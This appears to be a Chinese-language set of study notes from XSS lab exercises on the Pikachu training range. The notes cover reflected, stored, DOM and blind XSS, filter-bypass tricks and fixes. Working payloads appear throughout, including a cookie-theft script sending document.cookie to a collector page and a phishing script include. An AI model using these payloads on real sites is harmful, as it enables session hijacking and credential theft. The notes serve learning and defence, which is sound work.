- 反射型
- 交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
- 存储型
- 交互的数据会被存在数据库里面,永久型储存,一般出现在留言板,注册等页面。
- DOM型
- 不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型
-
xss漏洞形成原因
- 形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
- 因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
- 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义; -
反射型xss(get)
- 特殊字符+唯一识别字符 '"这是特殊字符<>6666这是唯一识别字符
- 查看页面源代码ctf+f查询666
可以通过这个进行判断成功写入到p标签里面我们现在可以简单构造一个payload
F12选取页面元素,把长度限度改成200
<script>alert('XSS')</script>
发现弹框成功 (反射型是不存储的刷新页面代码就没了)
代码审计
旦提交之后先判断信息是否为空不等于kobe,就会把notice原封不动到message输出
因为是get请求利用会返回到url,我们复制成功的url就能重新利用,所以说get型方式比较好用。
XSS post
以POST形式提交,URL中不会显示参数内容,所以我们不能把恶意代码嵌入URL中
我们先通过抓包
右键->Engagement Tools->Generate CSRF Poc
复制这段代码到记事本,命名为xss.html
当我们点开这个网址,点击按钮
测验成功!
我们可以将form表单作为payload插在网站中
将存放POST表单的链接发送给受害者,让受害者点击
这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求目的。
修复建议
如何避免反射型 XSS
要避免反射型 XSS,需要注意以下几点:
(1) 对用户的输入进行合理验证(如年龄只能是数字),对特殊字符(如 <、>、’、”等)以及<script>、javascript 等进行过滤。
(2) 根据数据将要置于 HTML 上下文中的不同位置(HTML 标签、HTML 属性、JavaScript 脚本、CSS、URL),对所有不可信数据进行恰当的输出编码。
存储型XSS
特殊字符以及唯一识别字符判断发现存储在p标签里面
发现没有过滤和转义的处理的,先输入pyload进行测试<script>alert('xss')</script>
发现留言已经存到数据库里面了每次访问这个页面都会把这个留言加载出来运行存储型xss危害更大持久性更大
echo 输出的 content原封输出到浏览器前端产生存储型Xss
DOM型XSS
DOM是前端操作接口
赋值给st变量
通过字符串拼接写到href
输入点
DOM是前端操作,通过innwehtml写到了 dom标签里面
输出和输入没有做转义我们做一个闭合操作
<a href='"+str+"'>what do you see?</a>
<a href='#' οnclick=“alert('xss')">'>what do you see?</a>
herf中随便输入个字符单引号把前面href闭合掉
#' οnclick="alert('xss')"> 构造pload div通过dom方式输出div里面
DOM XSS-S
获取浏览器把url传参的给获取下来顾名思义还是用前面的闭合payload
url发送给攻击的用户打开链接插入到用户页面去跟反射型xss一样的,比dom型危害高点
XSS获取cookie
构造payload
<script>document.location = 'http://127.0.0.1/Pikachu-master/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
获取成功
XSS钓鱼
修改成自己路径
paload
<script src="http://127.0.0.1/Pikachu/pkxss/xfish/fish.php"></script>
主要用src调用php去访问
用户只要输入账号和密码
XSS之盲打
XSS盲打:它不是一种XSS漏洞的类型,它其实是一种XSS一种的攻击场景
- 输入一个字符来测一下看它有什么样的作用,点击提交后显示如图这句话
- 仿佛在说我们输入的内容并不会在前端输出,看起来好像是被提交到了后台,它的管理员有可能会被看,只有他的管理员能看到我输入的内容,前端的用户是看不到的
- 我们来设想一种场景比如说它这边有个管理员在后台见面,我们输入的内容,跨占脚本的内容 ,这个内容也不会在前端输出,根据刚刚的思路管理员登录后台之后后台的内容会把我们输入的内容输出的话,就意味着后台的管理员会被查到,如果真的会被查到这种场景,那这种场景存在的XSS,我们会称这种场景XSS的盲打
- 点击右上角的“点一下提示”里的后台登录地址,复制这个地址在uil登陆一下,这个时候我们就会切换成管理员,然后他要查一下用户给他的发的一些看法,然后登录
登录之后就会看到如下图所示,就会被查
因为它的这个管理页面会执行前端输入的内容,它换的脚本会在下一个页面执行,它查的就是管理员。
对于攻击者来说他并不知道后台有没有输出,或是说它输出时有没有做过滤,它只是尝试性的注入一段恶意的跨段脚本,运气好它后端没有做处理,那后端输出的时候他把管理员给查到了,攻击者就成功了。
XSS绕过
- 前端限制绕过,直接抓包重放,或者修改html前端代码
(所有安全措施不要放在前端去做)
2.大小写,比如:<SCRIPT>aLePT(111)</sCRIpt> (不能只对小写处理,大写绕过或者大小混合绕过)
3.并凑: <scri <script>pt>alert(111)</scri</script>pt>(一般替换逻辑只会替换一次,这样子写法可以绕过后台替换措施)
4.使用注释进行干扰:
<scri<!--test-->pt>alert(111)</sc <!--test--> ript >
xss-过滤-编码
核心思路:
后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定会过滤当浏览器对编码识别时,会翻译成正常的标签,从而执行。
<img src=x οnerrοr="alert('xss')"/>可以把alert('xss')进行html编码
bp也有工具转换
<ing src=x οnerrοr="
alert('xss')"/>
打开pikachu靶场发现查看对<script>标签进行了过滤
尝试利用大小写绕过成功
<img src=x οnerrοr="alert(111)"/> 也可以进行绕过
XSS之htmlspecialchars
'"777&
在<a href=对quot进行后端过滤但是没对单引号过滤
payload q' οnclick='alert(1111)'
对htmlspecialchars处理,处理完后,在a标签输出了,没有对单引号和双引号都处理所以产生了问题
XSS常见防范措施及href和js输出点的案例演示
- 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
- 转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行实体转义,输入到js里面的进行js转义。
如果输入的不是百度输入的内容用htmlspecialchars进行处理,也用了ouotes这个类意为这单引号双引号&都进行处理,然后输出到a标签href
a标签href属性里面·可以使用JavaScript协议进行执行js
payload javascript:alert(111)
在进行XSS防御的时候只使用htmlspecialchars是不够的,同时在href中需要只允许http和https开头的协议。
XSS之js输出
查看源代码查找1111
script>
$ms='x'</script><script>alert('xss')</script>';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
构建闭合把前面这个变量闭合掉,把前面的</script>闭合掉,在插入自己的<script>
弹框成功
/这里讲输入动态的生成到了js中,形成xss
//javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义
//讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修?
//这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。
//所以在JS的输出点应该使用\对特殊字符进行转义